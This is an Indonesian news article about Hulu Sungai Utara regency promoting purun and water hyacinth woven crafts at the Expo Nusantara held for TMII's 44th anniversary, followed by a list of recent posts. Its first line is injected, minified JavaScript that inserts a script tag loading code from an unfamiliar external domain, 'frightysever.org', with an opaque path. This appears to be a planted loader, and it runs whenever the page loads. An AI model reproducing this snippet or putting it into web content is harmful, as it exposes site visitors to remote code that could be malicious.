(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Tawarkan Anyaman Purun dan Enceng Gondok di Expo Nusantara HUT ke-44 TMII


JAKARTA, Pemkab Hulu Sungai Utara (HSU) ikuti Expo Nusantara ke-7 HUT ke-44 Taman Mini Indonesia Indah (TMII) tahun 2019, 19-21 April. Upaya promosi kerajinan daerah Kabupaten HSU dapat dikenal tingkat nasional maupun internasional, sehingga mampu meningkatkan perekonomian dan kesejahteraan para pengrajin.

Ketua Dekranasda HSU, Hj Anisah Rasyidah berharap, ajang Expo Nusantara ke-7 menjadi media untuk mempromosikan Kabupaten HSU di kancah nasional maupun internasional.

Sebagai upaya Disperindagkop UKM dan Dekranasda Kabupaten HSU selama ini membina pengrajin dan UKM di daerah, dapat menampikan kerajinan dan produk yang berkualitas dengan mutu yang bagus, mampu bersaing dangan produk dari daerah lain.

“Stand pameran Kabupaten HSU kali ini menyuguhkan kerajinan anyaman purun, enceng gondok, sebagai bukti produk unggulan daerah yang kondisi geografisnya 90% rawa,” ujarnya.

Dinas Perindustrian, Perdagangan, Koperasi, dan Usaha Kecil Menengah (Disperindagkop – UKM) menyiapkan stand Kabupaten HSU menampilkan produk-produk unggulan daerah, antara lain berbagai produk anyaman purun, anyaman enceng gondok dan pandan, serta jajanan khas daerah HSU.

Kegiatan ini diikuti 157 peserta dari 34 Provinsi seluruh Indonesia, dengan tujuan untuk menunjukan bahwa TMII sebagai mitra daerah dalam mempromosikan berbagai produk unggulan dan budaya.

Direktur TMII, Tanribali Lamo saat membuka kegiatan ini menyampaikan bahwa kegiatan ini mengambil tema “Taman Mini Indonesia Indah merupakan Rumah Budaya Bangsa sebagai Wujud Bhineka Tunggal Ika”.

 Tema tersebut sengaja diambil dalam rangka menghadapi tahun politik sebagai upaya TMII untuk menguatkan Bhineka Tunggal Ika dan NKRI. “Pemerintah daerah bisa memanfaatkan kegiatan ini sebagai media mempromosikan produk-produk unggalannya, dan TMII sebagai pintu depan dari kegiatan budaya, sehingga dapat memberikan wawasan baru bagi masyarakat,” ucapnya. (dew)

Reporter:dew
Editor:bie

 


Desy Arfianty

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.